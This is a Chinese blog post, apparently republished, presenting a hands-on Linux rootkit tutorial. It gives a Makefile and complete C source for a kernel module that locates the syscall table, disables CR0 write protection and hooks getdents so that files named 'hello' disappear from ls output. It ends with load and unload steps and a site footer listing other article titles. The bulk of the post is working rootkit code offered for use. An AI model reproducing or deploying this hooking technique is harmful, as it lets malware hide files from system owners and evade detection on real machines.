Rootkit实战——ls篇
来源:互联网 发布:数据库join例子 编辑:程序博客网 时间:2024/06/17 00:30
rootkit科普:Rootkit是一个或者多个用于隐藏、控制一台计算机的工具包,该技术被越来越多地应用于一些恶意软件中。在基于Windows的系统中Rootkit更多地用于隐藏程序或进程,系统被注入Rootkit后就可以在不为用户察觉的情况下进行某些操作。因此,其隐蔽性极高,危害也极大。
rootkit工作原理:攻击者想要在受害者的电脑上搞破坏时,比如装后门程序,总会留下一些蛛丝马迹,而受害者只需通过一些
特殊操作,譬如ps一下,就会很容易看到后台运行的后门程序,知道自己被攻击了。为了使攻击更加隐蔽,攻击者往往会通过修
改系统调用,比如修改ls、netstat等,这种替换掉系统原有的普通命令,换成自己特殊目的的可执行文件,属于rootkit的核心。
在实现rootkit之前,我们需了解一下LKM(可加载内核模块)LKM的全称为Loadable Kernel Modules,中文名为可加载内
核模块,主要作用是用来扩展linux的内核功能。LKM的优点在于可以动态地加载到内存中,无须重新编译内核。由于LKM具有
这样的特点,所以它经常被用于一些设备的驱动程序,例如声卡,网卡等等。当然因为其优点,也经常用于rootkit技术当中。
本人的Linux内核版本: (命令行输入:cat /proc/version)
Linux version 4.10.0-38-generic (buildd@lgw01-amd64-059) (gcc version 5.4.0 20160609
(Ubuntu 5.4.0-6ubuntu1~16.04.4) )#42~16.04.1-Ubuntu SMP Tue Oct 10 16:32:20 UTC 2017
Linux系统版本: (命令行输入:lsb_release -a)
Distributor ID:Ubuntu
Description:Ubuntu 16.04.3 LTS
Release: 16.04
Release: 16.04
要运行LKM程序,我们首先要编译一下,即Makefile,代码如下:
#drop_all:drop_all.c #gcc -o drop_all drop_all.c#clean:#rm *.oobj-m += HIDE_ls.o // HIDE_ls.o即为要编译到内核的代码名all:make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modulesclean:make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
接下来,让我们看看实现代码(HIDE_ls.c):
#include <linux/module.h>#include <linux/kernel.h>#include <asm/unistd.h>#include <linux/types.h>#include <linux/sched.h>#include <linux/dirent.h>#include <linux/string.h>#include <linux/file.h>#include <linux/fs.h>#include <linux/list.h>#include <asm/uaccess.h>#include <linux/unistd.h>#include <linux/init.h>#include <linux/slab.h>struct linux_dirent{ unsigned long d_ino; unsigned long d_off; unsigned short d_reclen; char d_name[1];};static unsigned long ** sys_call_table;char psname[10]="hello";char *processname=psname;long (*orig_getdents)(unsigned int fd, struct linux_dirent __user *dirp, unsigned int count);void disable_write_protection(void) //取消写保护{ unsigned long cr0 = read_cr0(); clear_bit(16, &cr0); write_cr0(cr0);}void enable_write_protection(void) //打开写保护{ unsigned long cr0 = read_cr0(); set_bit(16, &cr0); write_cr0(cr0);}void *get_lstar_sct_addr(void){ u64 lstar; u64 index; rdmsrl(MSR_LSTAR, lstar); /*可获得系统调用的入口地址, 然后对该入口地址进行解析得 到入口函数为system_call*/ for (index = 0; index <= PAGE_SIZE; index += 1) { u8 *arr = (u8 *)lstar + index; if (arr[0] == 0xff && arr[1] == 0x14 && arr[2] == 0xc5) { /*从0中断服务程序system_call的地址 开始搜索硬编码 \xff\x14\x85, 这块硬编码的后面紧接着就是系统调用表的地址 */ return arr + 3; } } return NULL;}unsigned long **get_lstar_sct(void){ unsigned long *lstar_sct_addr = get_lstar_sct_addr(); if (lstar_sct_addr != NULL) { u64 base = 0xffffffff00000000; u32 code = *(u32 *)lstar_sct_addr; return (void *)(base | code); //Linux x86_64使用的LP64字长模式 } else { return NULL; } }/*修改的系统调用,替换原来的sys_getdents.系统调用getdents()从中读取多个linux_dirent结构 通过打开的文件描述符简称目录FD进入由dirp指向的缓冲区。参数数量指定的大小那个缓冲区。 */ asmlinkage long hacked_getdents(unsigned int fd, struct linux_dirent __user *dirp, unsigned int count){ struct linux_dirent *dp,*pos,*buf1,*buf2; int fd_len;int copy_len = 0; fd_len = (*orig_getdents) (fd, dirp, count); //调用sys_getdents,返回该目录文件下目录的总字节数 if (!fd_len) { printk("fd is empty.\n"); return (fd_len); } buf1 = (struct linux_dirent *) kmalloc(fd_len, GFP_KERNEL); buf2 = (struct linux_dirent *) kmalloc(fd_len, GFP_KERNEL); dp = buf1; pos = buf2; copy_from_user(buf2, dirp, fd_len); //将用户空间的数据copy到buf2中,即内核空间 while(fd_len>0){ printk("%s\n",buf2->d_name);
// 假如找到要隐藏的文件名,直接跳过不处理,其他的均COPY给buf1
if(strstr(buf2->d_name,processname) == NULL){ printk("Don't find process\n"); memmove(buf1, (char *) buf2 , buf2->d_reclen); buf1 = (struct linux_dirent *) ((char *)buf1 + buf2->d_reclen); copy_len = copy_len + buf2->d_reclen; } fd_len = fd_len - buf2->d_reclen; buf2 = (struct linux_dirent *) ((char *)buf2 + buf2->d_reclen); } copy_to_user(dirp, dp, copy_len); // 将copy来数据送回用户空间 kfree(dp); kfree(pos); return (copy_len); }static int enter(void){ sys_call_table = get_lstar_sct(); if (!sys_call_table) { printk("get_act_addr(): NULL...\n"); return 0; } else{ printk("sct: 0x%p\n", (unsigned long)sys_call_table[__NR_getdents]); orig_getdents = (void *)sys_call_table[__NR_getdents]; //保存原来的系统调用 disable_write_protection(); //取消写保护位 sys_call_table[__NR_getdents] = (unsigned long *)&hacked_getdents; //替换成我们自己写的系统调用 enable_write_protection(); printk(KERN_INFO "hideps: module loaded.\n"); return 0; } }static void go_out(void){ disable_write_protection(); sys_call_table[__NR_getdents] = (unsigned long *)orig_getdents; //恢复默认的系统调用 enable_write_protection(); printk(KERN_INFO "hideps: module removed\n");}MODULE_LICENSE("GPL");module_init(enter);module_exit(go_out);
实现过程:
1,在某一文件夹下创建名“hello”文件夹和文件
2,此时用ls命令,可以清楚看到名“hello”文件夹和文件。
可见有hello文件夹。
3,编译HIDE_ls.c 生成模块HIDE_ls.ko
4,把模块HIDE_ls.ko,用命令 insmod 加载进内核
5,再次用 ls命令,发现之前的hellow文件夹被隐藏
6,最后要记得rmmod掉HIDE_ls.ko。
ps:用其他的内核版本可能会失败,旦整体思路如上所示,以上内容假如有啥错误的请一定指出,本人就是喜欢接受批评,大家可以一起讨论,
谢谢大家!
阅读全文
1 0
- Rootkit实战——ls篇
- rootkit实现劫持系统调用ps、ls
- Linux C编程实战——第六章 文件操作_项目实现_自写ls命令
- rootkit
- RootKit
- rootkit
- Rootkit
- rootkit
- Rootkit
- Linux 常用命令——ls
- linux命令——ls
- Uva400——Unix ls
- Linux——ls命令
- Linux命令——ls
- 每天复习Shell—ls
- Linux命令简介—ls
- 瘟神的尾行 ——Rootkit技术
- Rootkit——内存是如何被伪造出来的
- IOS获取设备唯一标识的八种方法
- C语言进阶-6讲: 递归法问题求解
- PAT (Basic Level) Practise (中文)1019. 数字黑洞 (20)
- tomcat查看GC信息
- vs2015 qt生成的exe文件没有图标(添加到控件上的图标,而不是.exe的图标)
- Rootkit实战——ls篇
- 手动实现简单的神经网络(唐宇迪神经网络课程笔记)
- Ubuntu设置SSH免密登录(不同于CentOS)
- 常见数组的方法
- Facebook最新对抗学习研究:无需「平行语料库」完成「无监督」机器翻译
- 一维卡尔曼滤波器的Matlab仿真
- 快速搭建 Node.js 开发环境以及加速 npm
- 48、我的C#学习笔记14
- 3.5 Java-this关键字